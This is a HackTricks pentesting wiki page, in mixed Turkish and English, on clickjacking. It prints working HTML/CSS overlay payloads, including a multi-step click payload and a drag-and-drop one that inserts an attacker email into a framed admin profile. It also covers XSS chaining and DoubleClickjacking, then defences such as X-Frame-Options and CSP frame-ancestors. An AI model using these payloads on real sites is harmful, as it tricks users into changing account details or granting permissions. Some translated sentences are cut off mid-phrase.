Clickjacking
Reading time: 8 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Clickjacking Nedir
Bir clickjacking saldırısında, bir kullanıcı, bir web sayfasındaki ya görünmez ya da farklı bir öğe gibi kamufle edilmiş bir öğeye tıklamaya kandırılır. Bu manipülasyon kullanıcının istemediği sonuçlara yol açabilir; örneğin malware indirilmesi, kötü amaçlı web sayfalarına yönlendirilmesi, credentials veya hassas bilgilerin verilmesi, para transferleri veya çevrimiçi ürün satın alınması gibi.
Prepopulate forms trick
Bazen bir sayfa yüklenirken GET parametreleri kullanılarak bir formun alanlarının değerlerinin doldurulması mümkün olabilir. Bir saldırgan bu davranışı kötüye kullanarak bir formu rastgele verilerle doldurabilir ve clickjacking payload'ını gönderip kullanıcının Submit butonuna basmasını sağlayabilir.
Populate form with Drag&Drop
Kullanıcının bir formu doldurmasını istiyorsanız ama ondan doğrudan belirli bir bilgi (ör. email veya sizin bildiğiniz belirli bir password) yazmasını istemiyorsanız, ona kontrolünüzdeki veriyi yazacak bir şeyi Drag&Drop etmesini isteyebilirsiniz; örneğin this example.
Basic Payload
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Çok Adımlı Payload
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Drag&Drop + Click payload
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
Eğer bir kullanıcıyı bir öğeye tıklamaya zorlayan bir XSS attack that requires a user to click tespit ettiyseniz ve sayfa vulnerable to clickjacking ise, kullanıcıyı düğme/bağlantıya tıklaması için kandırmak amacıyla bunu kötüye kullanabilirsiniz.
Example:
Hesabın bazı özel detaylarında (yalnızca you can set and read olan) bir self XSS buldunuz. Bu detayları ayarlayan formun bulunduğu sayfa vulnerable to Clickjacking ve formu GET parameters ile prepopulate edebilirsiniz.
Bir saldırgan, o sayfaya prepopulating the form with the XSS payload yapacak şekilde bir Clickjacking saldırısı hazırlayabilir ve userı formu Submit etmeye tricking edebilir. Böylece when the form is submitted ve değerler değiştirildiğinde, user will execute the XSS.
DoubleClickjacking
Firstly explained in this post, bu teknik mağdurdan belirli bir konuma yerleştirilmiş bir özel sayfadaki bir düğmeye çift tıklamasını ister ve mousedown ile onclick eventleri arasındaki zaman farklarını kullanarak çift tıklama sırasında mağdur sayfasını yükler; böylece victim actually clicks a legit button in the victim page.
Bir örnek şu videoda görülebilir: https://www.youtube.com/watch?v=4rGvRRMrD18
Bir kod örneği şu sayfada bulunabilir: https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html.
warning
Bu teknik, kullanıcının mağdur sayfasında tek bir yere tıklamasını sağlayarak clickjacking'e karşı tüm korumaları atlatmaya imkan verir. Bu yüzden saldırganın tek bir tıklama ile yapılabilecek hassas işlemleri, örneğin OAuth istemlerinin izinleri kabul etmesi gibi, bulması gerekir.
Browser extensions: DOM-based autofill clickjacking
Iframing victim pages dışında, saldırganlar sayfaya enjekte edilen tarayıcı uzantısı UI öğelerini hedefleyebilir. Parola yöneticileri (Password managers), odaktaki inputların yakınında autofill açılır menüleri render eder; saldırgan kontrolündeki bir alanı odaklayıp uzantının açılır menüsünü gizleyerek/örtüşerek (opacity/overlay/top-layer tricks), zorlanmış bir kullanıcı tıklaması depolanmış bir öğeyi seçebilir ve hassas veriyi saldırgan kontrolündeki inputlara doldurabilir. Bu varyant iframe maruziyeti gerektirmez ve tamamen DOM/CSS manipülasyonu ile çalışır.
- For concrete techniques and PoCs see:
Strategies to Mitigate Clickjacking
İstemci Tarafı Savunmaları
İstemci tarafında çalışan scriptler Clickjacking'i önlemek için şu işlemleri yapabilir:
- Uygulama penceresinin ana veya üst pencere (main or top window) olduğunu doğrulamak.
- Tüm frame'leri görünür yapmak.
- Görünmez frame'lerdeki tıklamaları engellemek.
- Olası Clickjacking denemelerini tespit edip kullanıcıları uyarmak.
Ancak bu frame-busting scriptleri şu yollarla aşılabilir:
- Tarayıcıların Güvenlik Ayarları: Bazı tarayıcılar bu scriptleri güvenlik ayarlarına veya JavaScript desteğinin olmamasına bağlı olarak engelleyebilir.
- HTML5 iframe sandbox Attribute: Bir saldırgan, sandbox attribute'unu allow-forms veya allow-scripts değerleriyle, allow-top-navigation olmadan ayarlayarak frame buster scriptlerini etkisiz hale getirebilir. Bu, iframe'in üst pencere olup olmadığını doğrulamasını engeller, örneğin
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
The allow-forms and allow-scripts values enable actions within the
Sunucu Tarafı Savunmaları
X-Frame-Options
The X-Frame-Options HTTP response header tarayıcılara bir sayfanın veya
- X-Frame-Options: deny - No domain can frame the content.
- X-Frame-Options: sameorigin - Only the current site can frame the content.
- X-Frame-Options: allow-from https://trusted.com - Only the specified 'uri' can frame the page.
- Note the limitations: if the browser doesn't support this directive, it might not work. Some browsers prefer the CSP frame-ancestors directive.
Content Security Policy (CSP) frame-ancestors directive
frame-ancestors directive in CSP Clickjacking koruması için önerilen yöntemdir:
- frame-ancestors 'none' - Similar to X-Frame-Options: deny.
- frame-ancestors 'self' - Similar to X-Frame-Options: sameorigin.
- frame-ancestors trusted.com - Similar to X-Frame-Options: allow-from.
For instance, the following CSP only allows framing from the same domain:
Content-Security-Policy: frame-ancestors 'self';
Further details and complex examples can be found in the frame-ancestors CSP documentation and Mozilla's CSP frame-ancestors documentation.
Content Security Policy (CSP) with child-src and frame-src
Content Security Policy (CSP), tarayıcının içerik yüklemesine izin vereceği kaynakları belirleyerek Clickjacking ve diğer kod enjeksiyonu saldırılarını önlemeye yardımcı olan bir güvenlik önlemidir.
frame-src Directive
- Çerçeveler için geçerli kaynakları tanımlar.
- default-src directive'den daha özeldir.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Bu politika aynı orijinden (self) ve https://trusted-website.com adresinden gelen frame'lere izin verir.
child-src Yönergesi
- CSP seviye 2'de web workers ve frame'ler için geçerli kaynakları belirlemek amacıyla tanıtıldı.
- frame-src ve worker-src için bir fallback (yedek) görevi görür.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Bu politika, aynı origin (self) ile https://trusted-website.com kaynaklarından gelen frames ve workers'a izin verir.
Kullanım Notları:
- Kaldırılma: child-src, frame-src ve worker-src lehine kullanımdan kaldırılıyor.
- Yedek Davranışı: Eğer frame-src yoksa, frames için fallback olarak child-src kullanılır. İkisi de yoksa default-src kullanılır.
- Sıkı Kaynak Tanımı: Sömürüyü önlemek için direktiflere yalnızca güvenilir kaynaklar dahil edin.
JavaScript Frame-Breaking Scriptleri
Tamamen güvenli olmasa da, JavaScript tabanlı frame-busting scriptleri bir web sayfasının çerçeve içinde gösterilmesini engellemek için kullanılabilir. Örnek:
if (top !== self) {
top.location = self.location
}
Anti-CSRF Tokens Kullanımı
- Token Validation: Web uygulamalarında anti-CSRF tokens kullanın; böylece durum değiştiren isteklerin kullanıcı tarafından kasıtlı olarak yapıldığından ve bir Clickjacked page aracılığıyla gerçekleştirilmediğinden emin olun.
Referanslar
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
- DOM-based Extension Clickjacking (marektoth.com)
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.